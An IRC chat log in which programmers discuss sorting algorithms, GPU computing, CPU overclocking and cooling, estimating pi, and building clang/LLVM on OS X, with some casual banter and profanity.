20:06:17 but digital io 20:06:21 robot to move them 20:06:29 gravity to sor 20:06:29 t 20:06:40 Both digital and analog hardware implementations of bead sort can achieve a sorting time of O(n) 20:06:41 That'd be pretty cool, too. 20:06:42 eh, how boring 20:07:03 how does a solid state version work? 20:07:17 bsmntbombdood: just simulates an abacus? 20:07:22 and basic gravity 20:07:34 find something that looks too big/small for position, throw it in right direction <-- one way to optimise it would be by when it is too big and you move it down, then go back one step and compare, and so on 20:07:46 AnMaster: that's gnome sort 20:07:50 anyway, if it has to be O(n), you might as well use your fpga to do a counting sort 20:07:53 but it's too boring to remember all that stuff 20:07:53 ehird, oh? it has a name? 20:08:05 it's so much easier just to throw stuff around 20:08:30 ehird, it seemed like the best way for the instruction shifter in bf. Since there are so many restrictions on the top of the basic "sort by offset" 20:08:34 like IO can not cross 20:08:37 and so on 20:09:04 can sse help with sorting at all? 20:09:09 I'm rather fond of non-comparison sorts, really. 20:09:18 i know there are compare/permute instructions 20:09:18 bsmntbombdood: maybe 20:09:18 and of course it has to be a stable sort... "[-]>,<+" isn't same as "+[-]>,<" 20:09:19 :P 20:09:29 bsmntbombdood: you have sse4.2; go play with it 20:09:43 i have 0 asm knowledge 20:09:52 bsmntbombdood: just mix the sse instructions in with C 20:09:58 it's just registers 20:10:08 yeah 20:10:24 bsmntbombdood: Depends; are you doing any vector operations? 20:10:41 pikhq: CUDA! 20:10:46 Say, comparing 4 values to 4 other values at the same time? ;p 20:11:10 I'm going to try some CUDA stuff 20:11:14 right 20:11:15 Hope my shitty radeon can run it 20:11:17 aitw 20:11:19 wait 20:11:21 radeon is ati 20:11:23 * ehird slaps self 20:11:29 ehird: my shitty geforce can do it 20:11:42 bsmntbombdood: but my radeon absolutely cannot, being that CUDA is a nvidia technology :) 20:12:02 what's your card? the 8600? 20:12:16 um 20:12:23 9400 20:12:24 ATI have something similiar 20:12:25 iirc 20:12:30 AnMaster: yes, but it's not CUDA 20:12:32 and CUDA seems nicer 20:12:48 ehird, of course it isn't CUDA. But the one ATI uses is an open format iirc. 20:12:56 while CUDA is proprietary 20:13:01 bsmntbombdood: right, it's a mid-low-end gfx card 20:13:04 as in, mid of the low enda 20:13:06 end 20:13:09 AnMaster: cuda's specs are open, I think 20:13:13 and I don't really care 20:13:16 CUDA seems nicer to program in 20:13:33 d'you mean OpenCL, AnMaster? 20:13:42 ehird, maybe, I don't remember the name 20:13:48 "OpenCL was initially developed by Apple Inc., which holds trademark rights, and refined into an initial proposal in collaboration with technical teams at AMD, Intel and Nvidia." 20:13:49 "NVIDIA announced on December 9, 2008 to add full support for the OpenCL 1.0 specification to its GPU Computing Toolkit.[8]" 20:13:59 so I could use it if I wanted, but CUDA looks nicer 20:14:06 kay 20:14:11 easier 20:15:12 ehird, anyway Gnome sort is trivial to implement. And works fairly well for sorting BF instructions. 20:15:12 get an nvidia tesla 20:15:23 ehird, and it is peep hole style too 20:15:28 bsmntbombdood: why, they're just GTXes without the gaming stuff 20:15:59 ehird, trivial when working on linked two linked lists (one input and one output) as well 20:16:09 I'm considering getting a gtx, though, and putting a quiet fan on it 20:16:18 but I'm not sure I need the extra performance :p 20:16:23 vs 9800gtx+ 20:16:45 ehird, tesla doesn't have any VGA or DVI connectors. iirc 20:16:52 But yeah you only use monitors for gaming 20:16:57 AnMaster: heh 20:16:57 not for anything else 20:16:57 :D 20:16:59 I didn't know 20:17:03 but that's even more of a reason not to buy them 20:17:07 ehird, I may misremember 20:17:09 I bet they're more expensive than GTXes too 20:17:11 they are for HPC stuff 20:17:16 yeah, I know 20:17:21 but I'd just buy a GTX for that anyway :p 20:17:36 tesla has like 4gb of ram too 20:17:42 ah... 20:17:57 bsmntbombdood: meh 20:18:01 just SLI a bunch of gtx's up 20:18:05 should be enough for most anything 20:18:33 -!- BeholdMyGlory_ has joined. 20:19:05 -!- BeholdMyGlory has quit (Nick collision from services.). 20:19:08 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 20:19:39 jesus 20:19:50 the high-end tesla uses 550watts 20:20:10 They should make some sort of combined sauna stove / GPU. 20:20:13 bsmntbombdood: good lord 20:20:24 how the hell do you cool that?!?! 20:21:01 bsmntbombdood: a fuckload of fans 20:21:02 I wonder how much you could quiet a gtx 275 20:21:20 Huge heatsink would probably get it down to a just-too-high temp, you could probably add a nice quiet fan on to that 20:21:22 but what about fan adjustment? 20:21:23 the puny little fan and heatsink i see on them doesn't look very capable 20:22:05 bsmntbombdood: it probably runs at 5k rpm or something daft like that 20:22:12 bsmntbombdood: or has 3 fans under the cover 20:22:22 the heatsink is still tiny 20:22:45 Maybe a fan with tiny fans mounted on the blades. 20:23:03 :D 20:23:07 infinite fans 20:23:12 unfortunately, infinite dB 20:23:27 but infinite cooling power! 20:24:06 ehird: actually, log-infinity dB 20:24:13 oh? 20:24:18 which means that you can have aleph-one cooling power, but only aleph-zero noise 20:24:23 decibels are a logarithmic scale 20:24:29 heh, true enough 20:24:34 ais523: that's some good cooling/noise ratio 20:24:43 unfortunately, I'm not sure my ears are clued up on aleph-one vs aleph-zero 20:24:49 they might just break anyway 20:26:13 They should make some sort of combined sauna stove / GPU. <-- that would definitely be a hit in Finland. Not anywhere else though... 20:26:37 AnMaster: whyever not? just have a sauna next to your house 20:26:38 profit and games 20:26:48 ehird, hm? 20:27:00 your gpu doubles as a sauna stove 20:27:05 sure 20:27:05 AnMaster: It'd also be a hit in much of the northern US and Canada. 20:27:07 so make a sauna next to your house and use it as one 20:27:12 pikhq, ok 20:27:14 and start a sauna business 20:27:17 you can profit while you game 20:27:21 and have an excuse to game all day 20:27:22 but what about California and such 20:27:27 too hot there already 20:27:33 And it'd be ubiquitous in Alaska. 20:27:38 and there is where computers are designed after all 20:27:42 mostly 20:27:49 AnMaster: what a great generalization 20:27:52 Yeah, in California, you sell a combined air conditioner and CPU cooler. 20:28:00 pikhq, more like that yes 20:28:07 ehird, sure! 20:28:15 anyway 20:28:19 I recommend a tank of liquid nitrogen for the computer and a fan to distribute the cold air. 20:28:23 my point was, they wouldn't come up with the idea 20:28:45 pikhq: people have overclocked CPUs to ~6.5ghz by just pouring liquid nitrogen on it 20:28:46 it wouldn't occur to them. Too hot. 20:28:50 willy-nilly 20:28:53 pretty fun 20:28:56 ehird: submerging in liquid nitrogen, I thought 20:29:06 given that it doesn't conduct electricity, it's not all that bad an idea 20:29:12 ais523: well, the video just showed a huge amount of smoke and someone tipping a canister 20:29:16 so it'd probably end up submerging it 20:29:20 um 20:29:21 but they tipped it continuously 20:29:24 that's steam, not smoke 20:29:26 ehird: 10GHz with Phenom II. 20:29:28 :p 20:29:29 err, steam 20:29:29 right 20:29:32 pikhq: nah 20:29:35 6.5ghz is world record 20:29:40 on some AMD chip, maybe phenom ii 20:29:40 well, sort of condensed liquid-phase steam 20:29:46 I'm not sure if that technically counts as steam or not 20:29:53 it's water, anyway 20:29:54 the photo I have seen showed them pouring it into a pipe mounted on the CPU 20:30:01 AnMaster: that's possible too 20:30:06 i don't really recall 20:30:16 it was on wikipedia iirc 20:30:27 might have been a different madman 20:30:59 i think you would have to get all your components completely anhydrous 20:31:15 what 20:31:26 hm 20:31:29 AnMaster: AMD and Gigabyte do it at open events 20:31:31 to promote their hardware 20:31:33 ehird, heh 20:31:38 so not exactly madman 20:31:54 ehird, http://en.wikipedia.org/wiki/File:2007TaipeiITMonth_IntelOCLiveTest_Overclocking-6.jpg 20:32:13 ehird, I'm quite sure they won't give support on those products if any customer did it! 20:32:27 AnMaster: that's from an Intel event, it seems 20:32:29 so different one 20:32:32 ehird, yes 20:32:37 didn't claim it was same 20:32:50 AnMaster: and, well— I read an AMD Athlon X2 manual today. it said that replacing heatsink/fan voided the warranty 20:33:00 so... it's barely supported anyway! 20:33:09 heh 20:33:29 i played with the overclocking settings on it a bit 20:33:33 Amusing, since they sell it without a heatsink as well. 20:33:36 -!- Sgeo has joined. 20:33:40 it was 2ghz and went to 2.67ghz quite painlessly 20:33:44 pikhq, haha 20:33:48 although sometimes it'd try to boot, not post, give a click, then reboot again and work 20:33:50 (automatically) 20:33:52 Hm? 20:33:58 Sgeo: read the logs if you want to know 20:34:11 but yeah, it ran just fine although I didn't do any intensive tests 20:34:12 was quite fun. 20:34:23 ehird, you have such a computer? 20:34:32 Reading logs means waiting for Firefox to start up 20:34:32 an athlon x2? 20:34:37 Which can be a few minutes 20:34:51 it's my mom's but I was toying with it earlier 20:35:44 Wow 20:35:49 the cray-2 was submerge-cooled 20:35:53 *submersion 20:36:07 http://en.wikipedia.org/wiki/Cray-2 20:37:32 http://en.wikipedia.org/wiki/Computer_cooling#Integrated_Chip_Cooling_Techniques 20:37:34 that looks cool 20:39:35 when i pushed the cpu past 2.67ghz it refused to boot, which made me sad :p 20:40:44 that's a pointless overclock, really 20:40:52 why not run it at regular speed if that's all the improvement you can get? 20:40:57 ais523: I did 20:41:03 I put it back 20:41:08 but I wanted to see how much it'd let me do 20:41:33 my computer is faster than early crays, right? 20:41:36 why overclock at all 20:41:38 bsmntbombdood: of course 20:41:47 AnMaster: to spend less money on a cheaper processor to get more performance 20:41:53 and for fun 20:42:19 but this didn't really work too well... the base clock thing was 200 to start with, and more than 207 made it more unstable than the sometimes-boots-twice-automatically-before-POSTing (i.e. refused to boot). multiplier max was 13x but that worked fine. 20:42:22 Hm. I never heard of anyone overclocking a laptop 20:42:25 so meh 20:42:37 AnMaster: http://www.google.com/search?client=safari&rls=en-us&q=overclocking+laptop&ie=UTF-8&oe=UTF-8 20:42:41 15 Nov 2002 ... Overclocking a laptop can be a mistake, as processor heat is not easily dissipated when using a heat sink with a fan pushing less air than I ... 20:42:47 fairly obvious 20:42:58 yeah 20:43:16 the fan on the athlon usually runs at 1600 rpm or so 20:43:28 with the small .67ghz overclock it ran at 1900 rpm or so 20:43:32 went a few degrees up too 20:43:39 kind of rubbish 20:43:41 -!- Slereah_ has joined. 20:46:15 well 20:46:25 ais523: .67ghz isn't that small; it's a 33.5% increase 20:46:35 but performance-wise, 2 vs 2.67ghz probably isn't gigantic, for a low-endp orc 20:46:35 proc 20:46:43 that is pretty small, only 33% 20:46:45 laptops are so fail 20:46:48 in terms of actual usefulness 20:47:00 ais523: err, over 20% overclock is considered large, I believe 20:47:13 hm no 20:47:14 over 30% 20:47:30 so why do people even bother with it? 20:47:44 ais523: because some CPUs overclock better 20:47:50 the 2.6ghz Core i7 920 20:47:52 can overclock to 4ghz 20:47:59 which is higher than an i7 you can buy 20:48:02 and: 20:48:10 920 $279.99 20:48:17 965 (3.2ghz) $999.99 20:48:30 so you save $720 and get .8ghz more 20:49:04 New OOTS :D 20:50:50 -!- kar8nga has quit (Remote closed the connection). 20:51:39 OOTS? 20:52:04 Sgeo: I'll wait a few days before visting it, I don't want to overload the servers 20:52:07 *server 20:52:13 in the meantime, don't spoil it 20:52:27 ais523: what kind of server can't handle a few web hits? 20:52:33 Maybe in the next few days, there'll be a new new one 20:52:39 a single server that's very popular 20:52:41 What are you up to? 20:52:44 ehird: Maybe a C64? 20:53:00 apparently it's message board traffic that puts the most strain on it 20:53:02 AnMaster: Order of the Stick. 20:53:06 ais523: stress someone else's single popular server: http://imgur.com/8h4xz.gif 20:53:08 The server was recently upgraded, and in a few months there will be two servers - one for the comic, one for the boards 20:53:22 ah 20:53:23 http://en.wikipedia.org/wiki/File:Alaska_Pipeline_Closeup_Underneath.jpg 20:53:24 ehird: not from this connection, and that's almost certainly copyvio if it's a copy of OotS 20:53:35 rehosting free material is not a copyright violation 20:53:39 It's a copy of OotS 20:53:40 -!- Slereah has quit (Read error: 110 (Connection timed out)). 20:54:06 (and if it's ruled so, I shall have to build an asylum for the world. Mark two.) 20:54:25 ehird: err, I don't see why it wouldn't be 20:54:26 Mark one being in the HHGG "trilogy"? 20:54:37 Sgeo: Yes. 20:54:39 because "free" != "free for all purposes" 20:54:43 ais523: *facepalms, builds underground bunker* 20:54:47 he might want the ad revenue, for instance 20:54:52 I know OotS has no direct ads 20:55:00 if he wants to turn a profit he should get a server that can handle hits :) 20:55:00 but it certainly advertises its own peripheral products a lot 20:57:09 ehird: I've already done that. This was after I discovered that most car owners were incapable of changing their oil or other such basic tasks. 20:57:15 ;) 20:57:31 pikhq: can I leave the Asylum? 20:57:45 I think you will find that I am incredibly sane, and thus can apply for entainment. 20:57:58 ehird: You are in the asylum, but not as an inmate. 20:58:03 (being the opposite of detainment) 20:58:07 So, yes, you are free to leave it at any time. 20:58:16 pikhq: where does it end? 20:58:47 I declare your home to be Outside of the Asylum. 20:58:59 Hooray. 21:00:40 heatsink reviewers need a more objective methodology 21:01:24 bsmntbombdood: like how 21:01:35 Infinite inversion snowflakes turn into MC Escher's dream about butterflies. 21:01:38 build a heater with a thermocouple and a processor shaped heatspreader, attach your heatsink, and measure how much heat you can put into the base until the temperature reaches some amount 21:02:14 something like 60 degrees 21:02:25 and then you can compare any coolers based on their wattage rating 21:02:36 yeah but that doesn't measure real-world processor performanc 21:02:37 e 21:02:50 pretty much 21:03:26 http://www.google.com/logos/missinglink.gif 21:03:34 Some Christians are upset by this 21:03:42 I'm not surprised. 21:03:48 Who gives a damn? 21:03:55 Sgeo: as in 404? 21:04:04 heh 21:04:06 ais523: err, what? 21:04:14 ehird, ais523 was making a joke 21:04:21 Sgeo: They can believe the world is 6000 years old and God makes each and every one of us out of clay, and we can advance humanity. 21:04:24 Sgeo: it's actually a metajoke 21:04:24 Sgeo: was he? 21:04:27 alright :P 21:04:41 given what happened in this channel a few hours ago 21:04:50 arctic cooling are pretty cool 21:04:51 ↑geddit? 21:04:55 ...I'm curious now, what happened? 21:05:07 Sgeo: AnMaster thought the link in the logo was an error 21:05:11 ehird: I'll tell you who gives a damn. 21:05:11 as in, link-is-missing 21:05:21 The Christians that think the world is older than 6,000 years. ;) 21:05:35 And most of them are caring enough to face-palm. 21:05:40 pikhq: Hey, they do associate with the other ones by choice... :-P 21:05:43 (↑joke) 21:05:54 * pikhq doesn't. 21:09:29 http://www.frostytech.com/articleview.cfm?articleid=2258 21:10:01 the orochi is so large as to be impractical 21:10:07 "less than 30 dBA noise" 21:10:08 bahahahaha 21:10:15 you mean like any decently silent heatsink/fan combination ever? 21:11:19 The heatpipes get bonus points for looking like some sort of tentacle monster. 21:13:59 I would like to move the innards of my secondary desktop computer from the current "boring beige box" into the not-in-use-since-the-smoke-went-out Lian Li "itty-bitty black box", but I think the monstrous hunk of a cooling device (which isn't even all that big by modern standards) is a bit too high to actually fit in. 21:16:33 fizzie: CPU cases have magic smoke now? 21:16:42 or did the smoke escape from the CPU inside it? 21:17:02 The smoke escaped from the parts that were formerly occupying the box, yes. 21:17:30 Well, I guess they still are occupying it in a physical sense, since I just stuck the thing in a corner so I won't stumble on it. 21:24:49 http://74.125.47.132/search?q=cache:gzD5srbF0_sJ:www.cs.ualberta.ca/~niewiado/TR07-02.pdf+sorting+with+sse&cd=4&hl=en&ct=clnk&gl=us&client=iceweasel-a 21:28:05 -!- BeholdMyGlory_ has joined. 21:28:35 -!- BeholdMyGlory has quit (Nick collision from services.). 21:28:38 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 21:28:38 [ehird:/TheVolumeSettingsFolder/HFSExtentTables/MNT6835442416PHRKF87P115I8] % ls 21:28:39 6NGSHGFTH6UJ237QGNESSF403KDLU5C1N7V6OVSOMP4UC1JL3RM0 21:28:41 wtf. 21:29:40 ? 21:29:50 bsmntbombdood: poking around / 21:51:46 the problem with using sse for sorting is that if you are able to use it, you are also able to use a non-comparison sort 21:52:04 bsmntbombdood: heh 21:53:33 there is CMPLEPS 21:55:28 or MAXPS 21:56:08 SO LIEK OMG 21:57:24 LIEK OMG ON THE 21:58:27 hah, I have to try this out: http://web.archive.org/web/20001217124300/www.cacr.caltech.edu/~roy/upi/index.html 21:58:42 -!- nooga has joined. 21:58:44 the probability of two large random integers being coprime is 6/pi^2 21:58:57 according to Riemann zeta, anyway. 21:59:18 great way to calculate pi, amirite? 21:59:25 i wonder if there is sense in writing SADOL compiler that employs partial evaluation for different types 21:59:29 I must put all the computing power of my GHC to this task 21:59:38 I'll tell you when I get 5 decimal places. >_> 21:59:45 Gracenotes: ask bsmntbombdood 22:00:01 he'll throw 4 cores/8 threads, 2.9ghz and 12GB of DDR3 RAM at it 22:00:32 -!- BeholdMyGlory has quit (Remote closed the connection). 22:00:33 ehird: ooooh so now hyperthreading is a good thing 22:00:37 Gracenotes: that's brilliant, a bit like monte carlo evaluation of pi, but less efficient 22:00:41 bsmntbombdood: nope 22:00:44 bsmntbombdood: I was just stating the facts 22:00:46 that actually wouldn't be a bad shootout problem 22:00:53 Gracenotes: it'd be a bloody slow one 22:01:38 implement a 19937 mersenne twister and, given a seed via command line, calculate the number of iterations until you get pi to a certain accuracy 22:01:55 given consecutive pairs of high numbers from the twister 22:02:09 okay, maybe a little too specific for a shootout question 22:02:23 but still, lemme at least try implementing it first... mmmm. 22:02:44 easy to parallelize! 22:02:45 ghc --make -O2 -funbox-strict, here I come 22:03:03 i O2'd your mom's funbox 22:03:24 is a funbox like a funroll? 22:03:30 bsmntbombdood: let's sign up for a BOINC project!!! 22:03:49 !!1!1! 22:04:10 actually, the full name is -funbox-strict-fields 22:04:19 ...to calculate pi via the most inefficient algorithm possible? 22:04:42 I vote that you calculate pi via an evolutionary algorithm. 22:04:54 ais523: it unboxes stuff. 22:04:57 !sadol !!1!1!1 22:04:58 1111 22:05:01 ;D 22:05:01 strict fields in specific 22:05:03 Compare with a circle with known area and radius. 22:05:04 ;) 22:05:08 pikhq: eh. There's a different between that an hill-climbing 22:05:18 *difference 22:05:30 oh, interesting 22:05:37 but still more like hill-climbing >_> 22:05:44 woot 22:05:47 Gracenotes: Did I mention that this was meant to be implemented using floating-point emulation? 22:05:50 where's my llvm-gcc 22:06:14 linked to from here: http://www.reddit.com/r/programming/comments/8ltxo/absolutely_without_a_doubt_the_most_inefficient/c09pfc8 22:06:30 who calculated pi by emulating the pin drop method 22:06:50 ehird: does llvm-gcc exist on macports? 22:06:53 which is possibly more inefficient, but only the mathematicians can tell us! 22:07:07 nooga: try "port search". but use clang, foo 22:07:19 llvm-gcc42 @2.5 (lang) 22:07:23 port install clang? 22:07:30 nope 22:07:32 ais523: oh, a funbox isn't much like a funroll, but maybe a freschedule-modulo-scheduled-loops is 22:07:34 you need to check it out from svn 22:07:41 I love that the PRNG seed is Pi. 22:07:46 or maybe -fsched-stalled-insns-dep= 22:07:47 :D 22:07:58 ehird: i got llvm package from ports (2.5) 22:08:05 so what nao 22:08:09 * Gracenotes looks for the weirdest gcc flag he can find 22:08:25 nooga: http://clang.llvm.org/get_started.html 22:08:31 nooga: before you do those instructions: 22:08:33 export CC=gcc-4.2 22:08:36 otherwise it breaks 22:08:37 finline-functions-called-once 22:08:41 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 22:08:43 then follow those instructions exacterly 22:08:55 ehird: but it won't break my classic gcc? i need it for gayPhone 22:09:04 nooga: it won't, clang != gcc. 22:09:05 anyway. Time to get implementing 22:09:07 clang is a new compiler 22:09:07 ehird: Only works with gcc-4.2? 22:09:10 nooga: also, just don't 'make install; 22:09:14 pikhq: it just doesn't work with 4.1 22:09:16 finline-functions-called-once 22:09:18 bug in gcc 4.1 22:09:19 how is that weird 22:09:20 Oh. 22:09:24 but setting CC might damage something 22:09:26 nooga: and you can just use it from the source tree 22:09:27 and no it won't 22:09:28 nooga: it's temporary 22:09:30 for that session 22:09:31 since it'll goa s you close your terminal 22:09:35 once you close the terminal, it's forgotten 22:09:35 a 22:09:36 nooga: No. 22:09:36 so just close the terminal after that 22:09:47 Or just change CC back. 22:09:51 AnMaster: not really... it's somewhat specific, that's all. 22:10:06 I suppose if you're interested in a trade off between performance and binary size... 22:10:15 Gracenotes, um... ok 22:10:29 * pikhq should set up clang and LLVM... 22:10:32 *eyes AnMaster* o_O 22:10:53 Gracenotes, and what are you implementing 22:11:02 a scrollback searcher 22:11:03 for you! 22:11:16 for me? :D 22:11:20 ehird, sure. Can I saw it with my current headache 22:11:23 wwwwwww 22:11:24 eeee 22:11:26 aw. 22:11:32 eee 22:11:33 AnMaster: you can saw it but you might chop your finger off 22:11:34 kkkkkkkkk 22:11:39 always be careful with saws 22:11:41 AnMaster: http://web.archive.org/web/20001217124300/www.cacr.caltech.edu/~roy/upi/index.html 22:11:54 ehird, it is a migrane (sp?) 22:11:55 svn co http://llvm.org/svn/llvm-project/cfe/trunk clang ; make 22:11:56 ? 22:11:57 and also looking at random gcc options, cuz I feel like it 22:12:00 I know what the weirdest GCC opt is. 22:12:05 -mint16. 22:12:11 pikhq, for what platform 22:12:12 ewww. 22:12:12 AnMaster: why are you on irc with a migrane? 22:12:16 PDP-11. 22:12:21 nooga: follow the instructions directly. 22:12:23 without differage.. 22:12:31 oh yes, I only considered the ones beginning with -f 22:12:35 ehird, not being on it doesn't make a difference 22:12:38 but i've already got llvm 22:12:46 just turn the contrast down and it works quite ok 22:12:49 nooga: tough 22:12:51 -### is pretty weird, name-wise at least 22:12:51 it won't work properly 22:12:54 needs svn llvm 22:12:59 nooga: so just do what it says, it won't overwrite 22:13:00 uugh 22:13:01 just don't "make install' ffs 22:13:25 dup 22:13:34 DUPA, I MEAN 22:13:44 ais523, yeah 22:13:58 Gracenotes, anyway what are you implementing... 22:14:04 ehird: what is the difference between clang and llvm-gcc? 22:14:11 calculating PI by the above-linked method 22:14:11 AnMaster: http://web.archive.org/web/20001217124300/www.cacr.caltech.edu/~roy/upi/index.html <-- that? 22:14:13 clang is a new c compiler 22:14:16 yeah 22:14:16 llvm-gcc is gcc compiling to llvm 22:14:19 nooga: llvm-gcc is based on gcc 22:14:20 clang > llvm-gcc 22:14:22 I don't think I have anything to do 22:14:23 whereas clang is different 22:14:31 other than port my C++ ray tracer to Haskell 22:14:37 and figure out Haskell's SDL interface 22:14:42 also, in terms of what I got C-INTERCAL working for, llvm-gcc compiles to native code, clang to bytecode 22:14:46 but I suspect that isn't necessary 22:14:58 is speed of code generated by clang worth doing all that weird installation procedure? 22:14:58 ais523: ...? 22:15:05 nooga: 'weird'? 22:15:06 it's regular 22:15:10 and figuring out whether I need existentials to make a heterogenous list of shapes in the scene 22:15:13 you're just not any good at it :) 22:15:29 regular installation is: sudo apt-get install clang 22:15:38 nooga: haha 22:15:57 yeah it's not as if anyone ever compiles anything themselves 22:16:02 how unregular 22:16:17 okay 22:16:30 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 22:16:30 ais523, then you are doing it wrong 22:16:30 but when i get this llvm with clang compiled... 22:16:33 where to put it? 22:16:42 nooga: anywhere 22:16:48 ~/clang? 22:16:51 AnMaster: there's a packaging bug in clang over here 22:16:53 ais523, use -emit-llvm to llvm-gcc 22:16:58 which is presumably my fault as I compiled it 22:17:05 uh 22:17:10 fix it then+ 22:17:14 s/+/?/ 22:17:17 i don't want any software in my ~ 22:17:27 nooga: figure out something yourself then 22:17:36 too late, too lazy 22:17:39 too mac 22:17:49 don't touch my ~, pervert! 22:18:07 (yes, i am being annoying on purpose) 22:18:08 :D 22:18:12 >:| 22:18:35 nooga: *help service terminated* 22:19:16 nooga, I use ~/local/llvm/2.5/ 22:19:35 its clang+llvm 22:19:35 since I don't want non-package manager managed software elsewhere on the system 22:19:39 not llvm 2.5 22:20:05 ehird, yeah the system with llvm svn uses ~/local/llvm/svn/ for both clang and llvm 22:20:11 oh 22:20:13 since you place clang inside the llvm build tree 22:20:58 ehird, you can hack the main llvm build system so it builds clang too 22:21:13 ehird, just modify the list of subdirs of the tools directory 22:21:17 to add "clang" 22:21:35 this is (was?) needed for out of tree llvm/clang builds 22:25:36 uhm 22:25:38 sounds reasonable 22:25:43 but i'm too lazy 22:28:31 -!- oerjan has quit ("leaving"). 22:29:21 lol 22:29:43 PS1=... in .bashrc does not work :C 22:29:50 export foo 22:31:14 prompt like: macbook-xxxxx-yyyyyyyyyy:~ xxxxxxyyyyyyyyyyy$ is ... yuck 22:31:28 export foo 22:32:51 -!- pikhq has joined. 22:36:55 Atomic.cpp:28: error: ‘__sync_synchronize’ was not declared in this scope :C 22:37:06 and that what comes out from llvm ;p 22:40:59 :f 22:41:56 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:45:04 id how to build that shit on os x 22:45:10 idk* 22:46:59 ehird: you should get a fusion io io drive for your new computer 22:48:27 the head does not build :C 22:52:24 baaww 22:57:13 -!- FireFly has quit ("Later"). 22:59:35 -!- ais523 has quit (Remote closed the connection). 23:05:32 Just pointed out a long-standing flaw in the M*U*S*H tutorial 23:13:51 my applw quacks 23:17:10 Atomic.cpp:28: error: ‘__sync_synchronize’ was not declared in this scope :C 23:17:18 that is a intrinsic in GCC 23:17:19 iirc 23:17:27 needs recent GCC probably 23:17:34 did you properly export CC 23:18:10 nooga, out of interest.. What esolang programming have you done 23:18:43 erm 23:18:46 why do you ask? 23:18:54 nooga, out of interest 23:19:07 out of answer 23:19:10 >:D 23:19:14 you haven't? 23:19:33 nooga, plus, that matches "out of question", not "out of interest" 23:19:48 uhh 23:20:08 long time ago i did some befunge and bf 23:20:17 + mangling sadol all the time 23:20:25 eg. raytracer in sadol 23:24:01 heh 23:24:15 nooga, where is the ray tracer in it 23:24:34 i wrote raytracer in sadol 23:24:38 nooga, LINK 23:24:44 ughhh 23:27:10 ffffffuuuuu 23:27:12 lost it 23:29:02 -!- coppro has joined. 23:30:47 -!- upyr[emacs] has joined. 23:33:18 -!- lament has joined. 23:33:31 GIGANTIC COCKS 23:33:33 -!- lament has left (?). 23:35:01 AnMaster: 23:35:05 ? 23:35:08 CC=gcc-4.2 23:35:11 DON'T STOP 23:35:12 BELIEVING 23:35:13 export 23:35:21 export CC=gcc-4.2 23:35:22 duh 23:35:23 oh gawd, Glee was rather good 23:35:24 ... 23:35:30 I hope they continue it in the fall 23:35:35 AnMaster: did that =.= 23:35:37 and wth was up with lament above... 23:35:38 Ok, this is the second time I accidentally spammed M*U*S*H 23:35:45 nooga, link to the ray tracer? 23:36:03 $ echo $CC 23:36:03 gcc-4.2 23:36:10 export CC=gcc-1.2 23:36:10 env | grep CC 23:36:13 lost the code ;p 23:36:19 nooga, backup fail 23:36:28 it exists 23:36:33 oh? 23:36:34 Incidentally, nobody told me that clang can act as a C++->C compiler :P 23:36:51 GregorR, maybe because we didn't know 23:37:03 but my laptop is far away 23:37:06 clang compiles to LLVM, LLVM (llc) has a C target. 23:37:12 can't access my data today 23:38:07 23:33 lament has joined (n=lament@S010600110999ad06.vc.shawcable.net) 23:38:07 23:33 lament: GIGANTIC COCKS 23:38:08 23:33 lament has left ("Paradise is exactly like where you are right now, only much better.") 23:38:10 ↑ <3 lament 23:38:20 AnMaster: nooga invented SADOL 23:38:35 ehird, he said that 23:38:46 sec 23:39:17 AnMaster: but if you want to be passive-aggressive, there are less obvious ways 23:39:30 ehird, what? 23:39:34 uhm 23:39:44 ehird, what are you talking about... 23:40:00 Hey nooga. I think you're being an idiot. I'm going to imply you're off-topic all the time by asking: what exactly have you done for esoteric programming? I seeee. 23:40:14 it wasn't particularly subtle. 23:40:16 ehird, I have no idea why you misinterpreted me like that. 23:40:17 i feel this way too 23:40:24 but nvm, i am an idiot 23:40:33 ehird, suggest a better way to ask it in English? 23:40:46 that doesn't imply that 23:40:57 to me it sounds perfectly non-agressive 23:41:00 it's the context, not the question 23:41:12 * ehird shrug. If you didn't mean that I apologize. 23:41:13 uhm, yea it sounded a bit 23:41:16 ehird, uh what do you mean 23:41:24 there wasn't much of a context 23:41:30 just a random thought 23:41:45 context: my lame bawwing about something not compiling 23:42:04 (as a hacker i should shut up and figure it out) 23:42:12 oh, that was separate. and well I don't know OS X. I know compiling on windows is a pain though 23:42:18 no idea how hard it is on OS X 23:42:29 compiling on os x is just like compiling on bsd 23:42:30 ever tried to compile anything using SDL on windows? 23:42:36 except your gcc is old unless you append -4.2 23:42:41 (even then it's still old, but :)) 23:43:51 then i don't know what to do 23:44:02 configure runs smoothly and then kaboom 23:44:12 nooga: do: 23:44:13 make clean 23:44:17 well the sync one is a GCC builtin 23:44:17 CC=gcc-4.2 ./configure 23:44:18 make 23:44:23 ehird, no 23:44:26 make distclean 23:44:26 AnMaster: Yes 23:44:30 Er, no. 23:44:30 not make clean 23:44:33 That removes ./configure. 23:44:34 ehird, what 23:44:42 ehird, no that would be make maintainer-clean 23:44:49 Are you sure? 23:45:08 ehird, make distclean remove generated Makefiles 23:45:09 and such 23:45:16 ehird, and yeah, if it uses autotools I'm sure 23:45:28 AnMaster: http://pastebin.ca/419385 23:45:31 oooold paste ;p 23:45:41 ehird, it might be make maintainerclean, not sure if it is a dash there or not 23:45:55 nooga, nice 23:46:05 nooga, how is it used 23:46:06 AnMaster: scene is hardcoded 23:46:10 ah 23:46:14 nooga, output file format? 23:46:33 echo 2 | ./BDSM2 ray.sad > image.ppm 23:46:39 ppm ok 23:46:44 where 2 is scale ;p 23:46:49 http://pastebin.ca/419385 ← is the output of this any good, i mean most toy raytracers are ~200 lines 23:46:51 well 23:46:52 and what is the unit of the scale 23:46:53 more like 500 23:47:11 AnMaster: don't remember 23:47:14 just try it 23:47:24 * AnMaster looks for the interpreter 23:47:30 sec 23:47:45 my interwebs are going slow 23:47:47 found it 23:47:51 http://regedit.gamedev.pl/BDSM/ 23:47:55 says the link on the wiki 23:48:05 yep 23:48:08 http shit isn't loading but irc works 23:48:09 maybe dns 23:48:20 oh, it loaded. 23:48:26 http's just going very slow then 23:48:33 NICE TAR BOMB 23:48:35 err 23:48:36 ZIP 23:48:40 * AnMaster stabs nooga 23:48:47 no. 23:48:47 STAB STAB STAB 23:48:52 Zip bombs is the most common way of doing zip. 23:48:56 Zips are compressed folders. 23:48:58 ehird, it is evil still 23:49:01 No it's not. 